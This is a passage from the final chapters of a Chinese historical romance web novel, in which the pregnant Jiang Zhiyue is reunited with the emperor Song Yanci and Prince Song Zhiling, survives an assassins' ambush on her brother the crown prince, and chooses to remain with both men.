姜稚月不得不承认自己的心里也有他。 她喜欢他的赤诚,喜欢他对自己的照顾和退让,也习惯了和他在一起的日子。 他们三人早就像是绑在了一处。 如今她在这宅子里多待一日,对他们不舍的念头反倒加深一分。 这是姜稚月自己都始料未及的。 薛凝也察觉出了姜稚月情绪的变化,这日趁着天晴,邀她去街上逛逛。 “总是闷在宅子里有什么意思,这隨州的风土人情,我都还没领略过呢,不如阿月陪我一起如何?” 虽说前线战乱,但并未波及到随州城太多,一般的商铺酒楼也还是在正常营业。 姜稚月想了想,点头应了下来。 两人先去逛了几家随州有名的珠宝铺子,买了些当地用贝壳和珊瑚做的首饰,逛累了后寻了家专供随州当地特色美食的酒楼。 “这里的口味偏酸甜,阿月应当爱吃。” 薛凝扶着姜稚月坐下,将酒店写着菜名的木牌递到她跟前,“瞧瞧爱吃什么,今日你哥说了,他买单,让你想吃什么尽情点。” 姜稚月闻言微微抿唇,忍俊不禁,“嫂嫂也看看,可别替我哥省钱。” 薛凝被她这句嫂嫂唤得脸颊一红,嗔了她一眼,正要说话,忽听旁边一桌人中有一人大声嚷嚷道: “你说的是,宋皇打算选秀广纳后宫了?” 另一人应道,“那可不是,我那兄弟最近就在宋国做生意,这消息可是真真的!不仅如此,听说宋皇还打算从这些秀女中,给新封的那位禹王,也物色王妃和侧妃呢!” “真的假的?你别不是编的吧?我不是听说……我们姜国那位昭华公主不是嫁给了禹王么?怎么……” “嗨!那都是陈芝麻烂谷子的旧事了,如今那位昭华公主指不定是不是已经被禹王厌弃了……” “还有这等事?那可真是……” 那边的声音还在七嘴八舌地继续。 薛凝蹙眉看着姜稚月,面前的小姑娘死死攥住筷子,几乎将指甲都陷进了手心的肉里。 她看她脸色不好,小声道: “要不……我们先回去吧?” 姜稚月无力地点点头,起身的时候,双腿一软,险些瘫坐回去,幸而薛凝眼疾手快扶住了她- 另一边,金钉耀目的朱红漆门外,不遠处的墙边停着一辆不起眼的马车。 马车的车帘偶尔被人从里面掀起来,露出一张英俊的面孔,只是那面孔的主人神情焦躁,眉头緊拧,不时往远处看两眼。 宋知凌一把放下车帘,回头蹙眉看着宋硯辭,语气不善: “我真不知道,你让人散播那些谣言做什么?!到时惹得阿月伤心了怎么办?而且你分明早就已经查到阿月是回了姜国,为何现在才让我找来?!” 宋砚辞眉眼淡然,轻扫了眼对面青年怀中的孩子,语气不紧不慢道: “你若是声音再大一些,这次吵醒了宋既宣,就自己哄。” 宋知凌被他说的一噎,脸色不善地闭了嘴。 毕竟他可没哄孩子的本事,这一路上,他这个好儿子每次哭闹、甚至换尿布喂奶什么的,都是宋砚辞经手的。 那人动作熟练的,甚至让他怀疑宋砚辞是不是和谁偷偷生过孩子。 前几天知道阿月不见了那日,他刚给宋砚辞去了信,没想到夜里宋砚辞就敲开了禹王府的大门。 宋知凌推算了一下时间,飞鸽传书应当都没到宫里。 他不禁蹙眉,“你来做什么?” 宋砚辞往他身上风尘仆仆的衣衫上扫了一眼,便开门见山道: “阿月不见了?” “你怎么知道?!” 宋知凌霎那间警惕了起来,唯恐是宋砚辞将人藏起来了。 宋砚辞似是看穿了他的心思,轻笑一声,侧身从他的身边走进了王府,“一路奔波至此,朕连晚膳都未用,让你府上的厨子弄两个小菜清粥来。” “宋砚辞你说清楚,到底是什么意思?你怎么知道阿月不见了?!” 宋知凌有些抓狂,圍着桌子转了几圈。 他这里都火烧眉毛了,宋砚辞还能不紧不慢地用着膳。 偏生宋砚辞用膳时最是慢条斯理,急得宋知凌恨不得抓起桌上的白粥掐着他给他灌下去。 等到宋砚辞行止矜贵地用完膳,喝了口茶,他才好心般对宋知凌开了口: “阿月可能被太子接回随州了。” 宋知凌不是没想过这个可能,闻言眉梢微不可察地动了下: “你怎么知道?” 宋砚辞扫了他一眼,没回答,那眼神似乎在说,“你觉得呢?” 宋知凌一口气卡在喉咙上不来,不过他没心思同他瞎扯,当即唤了常康过来,就要让备马。 宋砚辞语气不高不低地开口: “你若是信我,先等上几日再去,总之她在太子跟前,不会有危险。” 宋知凌才懒得听他故弄玄虚,嗤笑一声,换了衣裳就要出去,宋砚辞在他身后道: “你若现在去,便是不想要阿月回来了。” 宋知凌脚步一顿,回头盯着他看了好久,终是重新走回来,耐着性子坐到桌旁: “你什么意思?” …… 一想到那日宋砚辞那副模样,宋知凌就来气。 这一路走来,跟这个男人一个车厢他已经受够了。 宋知凌气冲冲地冷笑一声,抱着宋既宣下了马车。 刚在马车边站稳,忽然瞧见远处缓缓驶来一辆马车,停在了他们等候的府门口。 他的心猛地跟着揪了起来。 那辆马车的车帘被掀开,薛凝先从里面下来。 宋知凌紧盯着那从马车中递出来的手,一点一点,視线跟着她出来的身影上移,直到定在自己这几日朝思暮想的那张面容上。 他一激动,手底下用了力气,宋既宣被箍得一疼,扯着嗓子大哭了起来。 婴孩的哭声立刻吸引了那边两人的注意。 姜稚月的视线下意识顺着看过来,在瞧见马车边的宋知凌和从马车上下来的宋砚辞后,彻底呆在了原地。 流云蔼蔼,夕阳余晖斜斜洒下来,给周圍的一切笼了一层橙黄色柔纱。 疏斜的竹影婆娑,投在马车后面朱红色的墙面上。 马车旁的两个男人并排而立,同样的玉树临风,鹤骨松姿,仿佛从画中走出来的人物一般。 姜稚月的心猛地一紧,一阵悸动牵引着心脏在胸腔内狂乱跳动。 她说不出自己此刻,更多的是什么心情。 但只觉得见到他们,这几日那种彷徨纠结的心情,仿佛一瞬间得到了纾解。 宋知凌怀中的那个小家伙嚎了几嗓子,见没人理他,伸出手朝着姜稚月的方向抓了抓,哭声从大声哭嚎转成了委屈巴巴的啜泣。 姜稚月心一 软,再顾不得旁的,上前走到宋知凌身边,轻轻拍了拍宋既宣。 那小家伙也趁机一把攥住了姜稚月的手指。 好似怕她再度跑了一般,小婴孩的手指又小又软,却攥得她根本抽不开手。 姜稚月无奈,抿了抿唇,“要不,先进去吧。” 这宅子周围都是民房,人多眼杂太过容易惹人注目。 宋砚辞和宋知凌两人自是没什么意见,一齐跟着进了大门。 第74章 第74章“明日我会跟着太子哥哥…… 四人才刚一踏进大门,身后忽然传来一阵急促的脚步声。 姜稚月还来不及回头,忽感身后一阵冷风窜起,离她最近的宋知淩下意識将她护进了怀中。 然而下一瞬,那把泛着冷光的利刃便一左一右架在了宋知淩和宋硯辭的颈侧。 姜稚月倒吸一口凉气,顺着剑身回头看去,小臉霎时一白。 “太子哥哥……” 太子的眉目冷峻,眼底还有从战场上下来时未卸去的杀意。 见姜稚月看过来,他稍微和缓了表情,对她安抚笑道: “阿月,你先同你薛姐姐回去,哥哥有话和他们两个说。” 姜稚月臉上的白渐渐被羞窘的潮紅所代替,她的十个脚趾在绣鞋中都蜷在了一起,听闻太子的话,连忙颔首,头也不抬地往回走去。 然而才刚走了没几步,她又忽然顿住了脚步。 小姑娘娇細的手指在身侧緊緊捏着裙摆,片刻后,回头,视线飞快略过宋硯辭和宋知淩,鼓起勇气定在太子的视线中,嫣紅的小嘴轻启,語气又低又软: “哥哥,他们……” 见她这幅模样,太子的眸光倏忽一闪,继而提了提唇角,略有些无奈道: “你去吧,哥哥有分寸。” 太子说完,姜稚月的脸再一红,小小嗯了一声,转身和薛凝一道离开了。 瞧着她的背影,宋硯辭的眼底漾出一抹温柔之色,全然不顾架在颈侧的匕首,語气十分诚恳地对太子道: “所有之错皆在于我,是我对阿月生了妄念,不论太子让我如何补偿都不为过。” 作为一国皇帝,他能对别国太子自称我,语气又十分谦逊已是难得,只是他话音一转,又道: “但有一事,让我放弃阿月,绝不可能。” 一旁的宋知淩闻言,急道: “我也是!阿月本就是我的妻子!” 宋知凌说完,宋硯辭眼神轻飘飘地朝他掠过去,宋知凌察觉他的视线,也沉着眼看回去。 太子视线扫过对面两人,忽然冷笑一声收了剑: “你二人在这件事上倒是统一,不过你们想要带阿月走,阿月却未必想跟你们走。” 其实太子之所以这次没有太同他二人计较,一则是因为,他从不觉得他的妹妹这辈子只能有一个夫婿。 阿月明艳动人,便是被诸多男子喜欢与疼爱都不为过,况且他也相信,倘若他们三人真一起生活,以宋砚辞的本事,也定能堵住天下人的悠悠众口。 另一则,他自己的妹妹自己清楚。 倘若她心里没有宋砚辞,在之后,即便是鱼死网破,也不会让宋砚辞近自己的身,更不会怀上他的孩子。 所以一切症结,还是在阿月自身。 太子视线往他二人身上一扫,先一步朝正厅走去: “大军已经整装待发,明日一早,孤就会班师回朝,届时阿月是走是留,全凭她心意,孤不勉强,你们也休想勉强。” 说罢,太子对身边的管家挥了挥手: “让人备些热菜,顺便将西厢房的两间寝居收拾出来,暂容他二人过一夜。” 另一边,薛凝陪着姜稚月在房间里。 她看出她的坐立不安,伸手握住她冰凉的小手,温柔抚慰: “别担心了,他二人怎么说也是宋国的皇帝和王爷,你哥哥不会对他们怎么样的。” 听薛凝这般说,姜稚月矢口否认: “我并没有担心他们,我只是……只是……” 姜稚月只是了半天,也没说出后面的话。 “阿月,可能你自己都不没看清自己的心意。” 姜稚月一愣,“薛姐姐什么意思?” 薛凝伸手在她皱着的眉头上轻轻抚了抚,笑道: “其实从前,我就知道,你喜欢他们两个人。” “为什么?” “虽然你嘴上说着喜欢宋砚辞,但是你得到了什么好东西,若是只有一件,又总会下意識想,倘若给了宋砚辞,那宋知凌该怎么办。” 薛凝的手轻轻摸了摸姜稚月的肚子: “你总是想对他们两个人一样好。” “可我分明……” 她分明只对宋砚辞有过那种悸动。 薛凝笑道: “宋砚辞成熟温柔,对于那个时候还是小姑娘的你来说,确实有着不一样的诱惑,可宋知凌与你打闹拌嘴,你们一个眼神就能合拍的默契,又何尝不是一种細水长流的感情。” 姜稚月不说话了。 薛凝说的这种细水长流的感情,不就像是现在的她和太子哥哥么? 而且这几日,若说她心里还纠结得看不清自己的心意,那么今日在酒楼听见他们二人要娶妻之后,那种伤心和痛苦让她终于肯面对自己的心。 再加之原本心灰意冷的时候,突然又在门口看到了那两个男人,那一瞬间,姜稚月觉得自己心中就已有了决断。 见她沉默,薛凝又说: “不过你现下,也不急于答应他们回去,我们可以先回京城,看看你二姐姐,听煜儿唤声姑姑,待到日后哪一日,你想通了,想要回宋国,也可以让你太子哥哥派人送你去。” “这些端看阿月你自己的意思,明日我们开拔,你还有时间可以好好想想。” 晚上的时候,姜稚月在房间里纠结了好久,到底是推门走出房间,趁着月色,去了西厢房。 那两个男人似是知道她会来一般,皆穿戴整齐地坐在屋中。 两人的手边放着一壶茶,但看样子,杯中的茶水都已凉透,也未喝一口。 听见门响,他们二人一齐看过来,宋知凌猛地起身,三两步跨到门口,拉住姜稚月的手腕: “阿月!” 这一声阿月,所有的担忧和思念,全都饱含在内。 姜稚月的眼神一晃,下意识往他身后的宋砚辞身上看过去。 那个男人如画的眉眼依旧同往日一样温柔,莹莹烛火在他琥珀色眸底映出点点星光,他看着她,眼神深邃得一眼便能让人沉溺进去。 “还好么?你和孩子?” 宋砚辞的语气低低的,似一汪流泻的清泉。 两个男人,一前一后站在她面前,所有的眼神和注意力都聚焦在她的身上。 姜稚月的心还是不可抑制地陡然加快了跳动。 她掐紧掌心,犹豫良久,微微点了点头。 宋知凌见她将他忽略得彻底,焦躁不安道: “阿月你看看我!” 他往她跟前凑了凑,忍不住捏了捏她的手心: “你知不知道那日得知你不见了,我有多着急?!唯恐怕你出了什么闪失,还有,那个香囊,你……” “宋知凌!” 宋砚辞蹙眉打断他,“你安静些!” 宋知凌闻声,回头瞪了他一眼,这才不情不愿地闭了嘴。 “阿月……” 宋砚辞上前一步,视线拂过她的小腹,拉住她的手腕轻轻摩挲着: “同我们回去好不好?我不会再拘着你,也不会让你为难,你若喜欢禹州,便和宋知凌留在禹州,只要你还在我们身边,怎样都依你。” “对啊阿月……” 宋知凌也攥着她另一只细嫩的手腕,轻轻晃了晃: “我好不容易死里逃生,你当真忍心抛下我么?还有既宣,你不知道他看见旁的孩子有母亲抱,有多羡慕,咿咿呀呀地要自己的母亲。” 一说起孩子,姜稚月的心就跟着软了半截。 她默不作声地垂眸,好半晌,才狠了狠心道: “明日我会跟着太子哥哥回京,你们……回去吧。” “阿月!” 宋知凌手底下不由用了力,姜稚月低呼一声,他飞快放开。 宋砚辞视线扫过她的脸,默了默,低声道: “你想好了?” “哥你……” 宋知凌回头看宋砚辞。 “想好了。” 姜稚月打断宋知凌的话。 小姑娘的语气低低的,还是同从前一样软软糯糯的嗓音,说出的话却异常坚决。 宋砚辞盯着她,眸光微微闪烁,良久,轻轻放开她的手腕。 “也好,倘若回到京城你能自在,那便……” “我不许! ” 宋知凌一把攥住姜稚月的肩膀,眼眶都红了,低吼道: “我不许你回去!你本就是我明媒正娶的妻子,我们连孩子都有了,我不许你回去!倘若你铁了心要回去,那我就带着孩子入赘到姜国!” “宋知凌!” 宋砚辞眼神一黯,一把将宋知凌拉了回来,低低道: “让阿月走。” 对面小姑娘默默流泪,巴掌大的小脸上煞白一片,明显状态很不好受。 宋知凌被宋砚辞狠狠一攥,这才像是回了心智,察觉到姜稚月的不对劲儿。 他也不敢再说什么,怕再刺激到有孕的她,欲言又止了半天,最后双肩一搭,颓唐道: “我和哥送你回去。” 翌日一早,馬车就停在了府门口。 姜稚月在薛凝的陪同下来到门外的时候,太子已经骑在了馬上等着。 在他身后,宋砚辞和宋知凌也等在另一辆马车边。 姜稚月瞧见他们,脚步一顿。 “想跟他们再说句话么?” 薛凝在她耳畔低声问。 姜稚月摇了摇头,要说的话,昨夜在他们送她回去的路上,她都已经说了。 薛凝扶着她的手臂,“也好,那咱们上车吧。” 马车辚辚压过青石板的长街。 想要回京,最方便的路是先从南门出城,而后向东驶去。 而宋砚辞和宋知凌若想回国,也是从南门出城,却是在出城后向北驶去。 所以在出城前,他们的马车一直跟在姜稚月身后。 然而出了城门后,姜稚月却并未听到身后的马车声停下来。 薛凝放下车帘,同她道: “他们好像跟上来了,许是……想送你一程。” 姜稚月闻言,掀帘的手一顿,默了默又放了下来。 倘若他们真是想送这一程,那便由他们吧。【你现在阅读的是魔蝎小说 moxiexs】 第75章【正文完】 第75章 第75章正文完 马车一前一后出城的时候,已至巳时。 原本姜稚月想着,宋硯辭他们充其量等到午时队伍修整用膳之前,就会离开。 可她悄悄看了几次,一直到他们的车马在一处空地上停了下来,宋硯辭他们还跟在身后。 她微不可察地蹙了蹙眉。 薛凝瞧了眼她的神色,犹豫道: “阿月还下去么?倘若不愿意下去,我去将饭给你端到马车上来用?” 姜稚月掀开车帘,往后看了一眼,略一摇头: “不用了薛姐姐,我自己下去,恰好也透透气。” 她不想讓宋硯辭他们觉得她太过刻意。 她们二人这边说着话一耽搁,队伍里的其余人早就已经下了马,在一旁搭好了做饭的锅灶。 太子走至她二人的马车前,撩开车帘,先是扶着薛凝下来,继而又转身过来扶姜稚月。 变故便是在这一瞬间发生的。 忽然林中树叶猛烈地沙沙作响,鸟雀惧惊,皆振翅而飞。 四周的丛林中突然衝出了二三十个黑衣人。 那些黑衣人目标明确,甫一出现就衝着太子冲过来。 太子眉眼一沉,一把将薛凝重新推回马车上,冷声道: “待在车里别出来!” 说罢,大喝一声:“列阵!” 太子的五万大军在前線还未出发,此刻跟过来的上百人皆是他的近卫和一名副将。 按说大家的身手都不错,且他们占据着人多的优势。 但那些黑衣人不知是从哪儿来的,居然会东瀛的忍术,飞天遁地,虚虚实实,搞得太子他们也没捞到多少好处。 反倒那副将气急败坏之下,误伤了两个自己人。 这一幕姜稚月太过熟悉。 那次被包围,宋知淩就是这般没了踪迹。 她心惊肉跳地掀起窗帘,下意识在人群中寻找宋知淩的身影。 人群厮杀声四起,血腥浓重得令人作呕。 姜稚月回眸的视線,穿过重重刀光剑影,直直落进了宋知淩沉厉的视线中。 她瞧见宋知淩对她笑了一下,然后抽出腰间的佩剑朝着她的方向便冲了过来。 男人身姿英挺,眼神冷毅,对于阻擋他路的人出手又狠又稳,他冷厉的眸中似乎只剩下了她的身影,再无其他。 姜稚月的心跟着緊緊揪在了一起,就在这一瞬间,所有的一切都似拨云见日,明朗了起来。 那个朝着她奔来的男人,她依舊会因为他可能受伤而心焦,却也依舊渴望在这一刻,她的身边能有他在。 她的所有注意力都在宋知凌身上,以至于人群中突然喊了一声“执玉”才唤回她的神思。 她循着声音回头,眼睛猛地瞪大了一圈,心都跟着沉了下去。 宋硯辭不知何时已经加入太子他们的争斗,那黑衣人突然放出一团黑雾,紧接着便瞬间闪现到了太子眼前。 眼瞅着那一刀要朝着太子的身后砍下来,理他最近的宋砚辞忽然一剑刺穿一个黑衣人的身体,另一只手徒手擋住了太子身后那一刀。 姜稚月只觉得小腹一阵绞痛,她捂着肚子,眉心紧蹙,嘴唇翕动着嗫嚅“执玉哥哥”。 宋砚辞仿佛听到了她的声音般。 回身朝她笑了笑。 他的眉眼依旧温润,即便臉颊上染了鲜血看起来十分狠戾,可他看向她时的眼底却漾着无限温柔。 姜稚月的心像是猛地被人狠狠攥住了一般。 她只觉腹中阵阵绞痛,眼前一黑便失去了意识。 …… 再次醒来的时候,她又回到了随州那处宅院。 薛凝替她擦了擦汗,解释道: “此次突然遇袭,定是无法再前行了,太子便命人折返。” 姜稚月下意识往自己肚子上看了眼,还好,肚子依旧鼓鼓的。 薛凝笑道: “大夫看过了,你无碍,只是情绪有些激动,需要静养些时日。” 姜稚月点点头,就着薛凝的手喝了口水,犹豫了一下,低低开了口: “他呢?” 薛凝眼底闪过了然的笑意,故意道: “阿月说的那个‘他’,是哪个‘他’?” 姜稚月一滞,似乎自己都没想清楚这个问题。 她只是下意识的想知道他们好不好,但问出口后,又不知自己到底想知道的是谁的消息。 最后她嘴一瘪,故意道: “当然是问我太子哥哥的消息了。” 薛凝轻笑一声: “是是是,你太子哥哥好得很,如今正在正厅里处理这次刺杀的事,倒是宋家那两兄弟……” 薛凝说到这,忽然住了嘴。 姜稚月一愣,对上薛凝促狭的笑容,立刻回过神来,臉颊微微发红,不自在地嗔道: “嫂嫂!!” “好了……” 薛凝笑道: “待会儿你去看看他们吧,宋知凌倒是没什么事,就是宋砚辞受伤比较重,应当还牵扯到了此前的伤口,方才我过来的时候,人还昏迷着。” 此前的伤口? 姜稚月一愣,忽然想起那次她被姚盈初他们绑架宋砚辞来救自己那次。 那时候他也是伤到了左胸口和左臂,而这次也是左臂…… 姜稚月微微垂眸掐了掐手心,掀开被子起身: “我去瞧瞧。” 薛凝瞧着姜稚月的背影,无奈摇了摇头,吩咐琉璃: “我看,还是先将你家主子的行礼从马车上卸下来吧。” 琉璃不解: “我们不走了么?” 薛凝神秘笑道: “走,不过是我们走,阿月不走。” “哦……” 琉璃挠了挠头,虽然不解,却还是照做 。 另一边,西厢房。 姜稚月一推开门,一股浓烈的药味夹杂着血腥味袭来,瞬间讓她想起了那日宋砚辞命悬一线的时候。 她的眼圈一红。 “阿月!” 宋知凌第一时间冲过来扶住她,关切道: “你怎么来了?你可有哪里伤到?” 他攥着她的双肩,皱眉上下打量了一番,见她好端端的,这才放下心来。 可随即,他又察觉到小姑娘的眼圈红红的,金豆子将落未落地坠在眼眶中。 宋知凌一愣,眉头紧蹙: “怎么了?阿月……” “执玉哥哥怎么样了?” 姜稚月忍了忍,突然哽咽出声。 宋知凌一噎,虽说她第一个问的不是他,这让他有些挫败,但难得地没有反驳,而是侧身让出视线: “还未醒。” 姜稚月顺着向床上看去。 男人赤//裸着上身,身上裹着的纱布渗出血色,他的脸色苍白,轻轻阖上的双眸让姜稚月的心里遽然划过一抹刺痛。 那次那种绝望的感觉再度浮现。 她的眼泪再忍不住,吧嗒吧嗒落了下来。 床上之人似是感应到了她的伤心,悠悠转醒,一眼瞧见她在落泪,眉心不自觉轻轻皱了皱,旋即对她提了下唇角: “阿月不哭……” 他的语气兴许是太过虚弱显得十分温柔,温柔得同她记忆中每一次他对她伤心时的抚慰一样。 从前那些年,所有关于他的记忆,对于他的感情,全都一发不可收拾地涌现。 她走到床边,轻轻握住了他放在身侧的手,盯着男人看了半天,突然破涕为笑: “执玉哥哥。” 宋砚辞捏了捏她的手心: “不哭。” …… 太子一行人又在宅子里滞留了两天,彻查清楚了此次遇袭事件的始末。 这日中午,姜稚月刚从宋砚辞的房里出来,便碰见了从正厅回来的太子。 太子脚步一顿,回头看了眼她身后,长叹一声: “阿月,下午咱们就要动身,你……回去收拾收拾。” 姜稚月一愣,抬头诧异道: “这么快?” 太子转着手中的扳指,嗯了声: “朝廷还有事等着哥哥回去处理,你这会儿就去同宋砚辞他们道个别吧。” 姜稚月端着托盘的手一抖,眼睫轻颤了几下: “……知道了。” 说罢,她又折身朝西厢房走去。 太子静静站在原地,瞧着她越走越慢的背影,无声叹了口气,还真叫阿凝给说中了。 果然,在姜稚月一脚踩上台阶的瞬间,她的动作一顿,停了半晌,那本来搭在台阶上的脚又落了下来。 她似是下定了某种决心般,深吸一口气,转身一口气走回了太子身边。 “哥哥……” “嗯,我知道了,你的东西前两日薛凝都已经给你收拾出来了,阿月——” 太子伸手摸了摸姜稚月的脑袋,笑道: “别委屈了自己。” 姜稚月鼻子一酸,到底没忍住,不顾礼仪伸手抱住了太子,在他怀里蹭了蹭: “哥哥……” 太子走的时候,姜稚月来门口送他。 两个丰神俊朗的男人一左一右站在她身侧。 那两人身材高大颀长,显得站在中间的少女越发娇小可人。 太子拉着缰绳,在马上回看了一眼,视线同宋砚辞对上。 独属于男人的交流顷刻间便充斥在两人之间。 半晌,宋砚辞对他郑重颔首,太子也扯了扯唇角,对他略一点头。 “驾!” 太子一夹马肚,带着众人在漫天大雪中朝着城外走去。 姜稚月忍不住追出去两步。 宋知凌扶着她,宋砚辞在身后替她打着伞。 三人在雪地中站了许久,宋砚辞轻揽住她的肩,替她挡去大半风雪,低低开口: “阿月,天冷,回去吧。”【你现在阅读的是魔蝎小说 moxiexs】